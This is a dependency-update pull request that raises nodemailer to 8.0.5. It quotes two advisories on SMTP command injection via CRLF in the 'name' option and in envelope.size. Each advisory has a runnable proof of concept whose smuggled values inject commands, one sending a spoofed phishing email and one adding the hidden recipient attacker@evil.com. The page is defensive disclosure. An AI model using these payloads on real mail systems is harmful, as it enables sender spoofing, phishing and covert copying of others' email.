🚨 [security] Update nodemailer 7.0.13 → 8.0.5 (major) by depfu[bot] · Pull Request #117 · invercity/iris

depfu · 2026-04-08T16:06:27Z

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🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ nodemailer (7.0.13 → 8.0.5) · Repo · Changelog

Security Advisories 🚨

🚨 Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();
// line 1336

this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC

const nodemailer = require('nodemailer');
const net = require('net');
// Simple SMTP server to observe injected commands

const server = net.createServer(socket => {

socket.write('220 test ESMTP\r\n');

socket.on('data', data => {

const lines = data.toString().split('\r\n').filter(l => l);

lines.forEach(line => {

console.log('SMTP CMD:', line);

if (line.startsWith('EHLO') || line.startsWith('HELO'))

socket.write('250 OK\r\n');

else if (line.startsWith('MAIL FROM'))

socket.write('250 OK\r\n');

else if (line.startsWith('RCPT TO'))

socket.write('250 OK\r\n');

else if (line === 'DATA')

socket.write('354 Go\r\n');

else if (line === '.')

socket.write('250 OK\r\n');

else if (line === 'QUIT')

{ socket.write('221 Bye\r\n'); socket.end(); }

else if (line === 'RSET')

socket.write('250 OK\r\n');

});

});

});
server.listen(0, '127.0.0.1', () => {

const port = server.address().port;
<span class="pl-c">// Inject a complete phishing email via EHLO name</span>
<span class="pl-k">const</span> <span class="pl-s1">transport</span> <span class="pl-c1">=</span> <span class="pl-s1">nodemailer</span><span class="pl-kos">.</span><span class="pl-en">createTransport</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
    <span class="pl-c1">host</span>: <span class="pl-s">'127.0.0.1'</span><span class="pl-kos">,</span>
    <span class="pl-c1">port</span>: <span class="pl-s1">port</span><span class="pl-kos">,</span>
    <span class="pl-c1">secure</span>: <span class="pl-c1">false</span><span class="pl-kos">,</span>
    <span class="pl-c1">name</span>: <span class="pl-s">'legit.host\r\nMAIL FROM:&lt;attacker@evil.com&gt;\r\n'</span>
        <span class="pl-c1">+</span> <span class="pl-s">'RCPT TO:&lt;victim@target.com&gt;\r\nDATA\r\n'</span>
        <span class="pl-c1">+</span> <span class="pl-s">'From: ceo@company.com\r\nTo: victim@target.com\r\n'</span>
        <span class="pl-c1">+</span> <span class="pl-s">'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

<span class="pl-s1">transport</span><span class="pl-kos">.</span><span class="pl-en">sendMail</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
    <span class="pl-c1">from</span>: <span class="pl-s">'legit@example.com'</span><span class="pl-kos">,</span>
    <span class="pl-c1">to</span>: <span class="pl-s">'legit-recipient@example.com'</span><span class="pl-kos">,</span>
    <span class="pl-c1">subject</span>: <span class="pl-s">'Normal email'</span><span class="pl-kos">,</span>
    <span class="pl-c1">text</span>: <span class="pl-s">'Normal content'</span>
<span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span> <span class="pl-s1">server</span><span class="pl-kos">.</span><span class="pl-en">close</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-s1">process</span><span class="pl-kos">.</span><span class="pl-en">exit</span><span class="pl-kos">(</span><span class="pl-c1">0</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

Multi-tenant SaaS platforms with per-tenant SMTP configuration
Admin panels where SMTP hostname/name settings are stored in databases
Applications loading SMTP config from environment variables or external sources

What can an attacker do:

Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
Spoof email senders by injecting arbitrary From headers in the DATA portion
Conduct phishing attacks using the legitimate SMTP server as a relay
Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');

🚨 Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');
// Minimal SMTP server that logs raw commands

const server = net.createServer(socket => {

socket.write('220 localhost ESMTP\r\n');

let buffer = '';

socket.on('data', chunk => {

buffer += chunk.toString();

const lines = buffer.split('\r\n');

buffer = lines.pop();

for (const line of lines) {

if (!line) continue;

console.log('C:', line);

if (line.startsWith('EHLO')) {

socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');

} else if (line.startsWith('MAIL FROM')) {

socket.write('250 OK\r\n');

} else if (line.startsWith('RCPT TO')) {

socket.write('250 OK\r\n');

} else if (line === 'DATA') {

socket.write('354 Start\r\n');

} else if (line === '.') {

socket.write('250 OK\r\n');

} else if (line.startsWith('QUIT')) {

socket.write('221 Bye\r\n');

socket.end();

}

}

});

});
server.listen(0, '127.0.0.1', () => {

const port = server.address().port;

console.log('SMTP server on port', port);

console.log('Sending email with injected RCPT TO...\n');
<span class="pl-k">const</span> <span class="pl-s1">transporter</span> <span class="pl-c1">=</span> <span class="pl-s1">nodemailer</span><span class="pl-kos">.</span><span class="pl-en">createTransport</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
    <span class="pl-c1">host</span>: <span class="pl-s">'127.0.0.1'</span><span class="pl-kos">,</span>
    port<span class="pl-kos">,</span>
    <span class="pl-c1">secure</span>: <span class="pl-c1">false</span><span class="pl-kos">,</span>
    <span class="pl-c1">tls</span>: <span class="pl-kos">{</span> <span class="pl-c1">rejectUnauthorized</span>: <span class="pl-c1">false</span> <span class="pl-kos">}</span><span class="pl-kos">,</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

<span class="pl-s1">transporter</span><span class="pl-kos">.</span><span class="pl-en">sendMail</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
    <span class="pl-c1">from</span>: <span class="pl-s">'sender@example.com'</span><span class="pl-kos">,</span>
    <span class="pl-c1">to</span>: <span class="pl-s">'recipient@example.com'</span><span class="pl-kos">,</span>
    <span class="pl-c1">subject</span>: <span class="pl-s">'Normal email'</span><span class="pl-kos">,</span>
    <span class="pl-c1">text</span>: <span class="pl-s">'This is a normal email.'</span><span class="pl-kos">,</span>
    <span class="pl-c1">envelope</span>: <span class="pl-kos">{</span>
        <span class="pl-c1">from</span>: <span class="pl-s">'sender@example.com'</span><span class="pl-kos">,</span>
        <span class="pl-c1">to</span>: <span class="pl-kos">[</span><span class="pl-s">'recipient@example.com'</span><span class="pl-kos">]</span><span class="pl-kos">,</span>
        <span class="pl-c1">size</span>: <span class="pl-s">'100\r\nRCPT TO:&lt;attacker@evil.com&gt;'</span><span class="pl-kos">,</span>
    <span class="pl-kos">}</span><span class="pl-kos">,</span>
<span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-s1">err</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
    <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">err</span><span class="pl-kos">)</span> <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">error</span><span class="pl-kos">(</span><span class="pl-s">'Error:'</span><span class="pl-kos">,</span> <span class="pl-s1">err</span><span class="pl-kos">.</span><span class="pl-c1">message</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'\nExpected output above:'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'  C: MAIL FROM:&lt;sender@example.com&gt; SIZE=100'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'  C: RCPT TO:&lt;attacker@evil.com&gt;        &lt;-- INJECTED'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'  C: RCPT TO:&lt;recipient@example.com&gt;'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-s1">server</span><span class="pl-kos">.</span><span class="pl-en">close</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-s1">transporter</span><span class="pl-kos">.</span><span class="pl-en">close</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...
C: EHLO [127.0.0.1]

C: MAIL FROM:<sender@example.com> SIZE=100

C: RCPT TO:<attacker@evil.com>

C: RCPT TO:<recipient@example.com>

C: DATA

...

C: .

C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

Release Notes

8.0.4

8.0.4 (2026-03-25)

Bug Fixes

sanitize envelope size to prevent SMTP command injection (2d7b971)

8.0.3

8.0.3 (2026-03-18)

Bug Fixes

clean up addressparser and fix group name fallback producing undefined (9d55877)

fix cookie bugs, remove dead code, and improve hot-path efficiency (e8c8b92)

refactor smtp-connection for clarity and add Node.js 6 syntax compat test (c5b48ea)

remove familySupportCache that broke DNS resolution tests (c803d90)

8.0.2

8.0.2 (2026-03-09)

Bug Fixes

merge fragmented display names with unquoted commas in addressparser (fe27f7f)

8.0.1

8.0.1 (2026-02-07)

Bug Fixes

absorb TLS errors during socket teardown (7f8dde4)

absorb TLS errors during socket teardown (381f628)

Add Gmail Workspace service configuration (#1787) (dc97ede)

8.0.0

8.0.0 (2026-02-04)

⚠ BREAKING CHANGES

Error code 'NoAuth' renamed to 'ENOAUTH'

Bug Fixes

add connection fallback to alternative DNS addresses (e726d6f)

centralize and standardize error codes (45062ce)

harden DNS fallback against race conditions and cleanup issues (4fa3c63)

improve socket cleanup to prevent potential memory leaks (6069fdc)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 31 commits:

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Update nodemailer to version 8.0.5

f4163ee

depfu Bot added the depfu label Apr 8, 2026

depfu Bot mentioned this pull request Apr 8, 2026

🚨 [security] Update nodemailer 7.0.13 → 8.0.4 (major) #116

Closed

invercity closed this May 21, 2026

invercity deleted the depfu/update/npm/nodemailer-8.0.5 branch May 21, 2026 08:16

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🚨 [security] Update nodemailer 7.0.13 → 8.0.5 (major)#117

🚨 [security] Update nodemailer 7.0.13 → 8.0.5 (major)#117
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depfu Bot commented Apr 8, 2026

What changed?

✳️ nodemailer (7.0.13 → 8.0.5) · Repo · Changelog

🚨 Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)

Summary

Details

PoC

Impact

🚨 Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter

Summary

Details

PoC

Impact

8.0.4

8.0.4 (2026-03-25)

Bug Fixes

8.0.3

8.0.3 (2026-03-18)

Bug Fixes

8.0.2

8.0.2 (2026-03-09)

Bug Fixes

8.0.1

8.0.1 (2026-02-07)

Bug Fixes

8.0.0

8.0.0 (2026-02-04)

⚠ BREAKING CHANGES

Bug Fixes

Uh oh!

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Development

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1 participant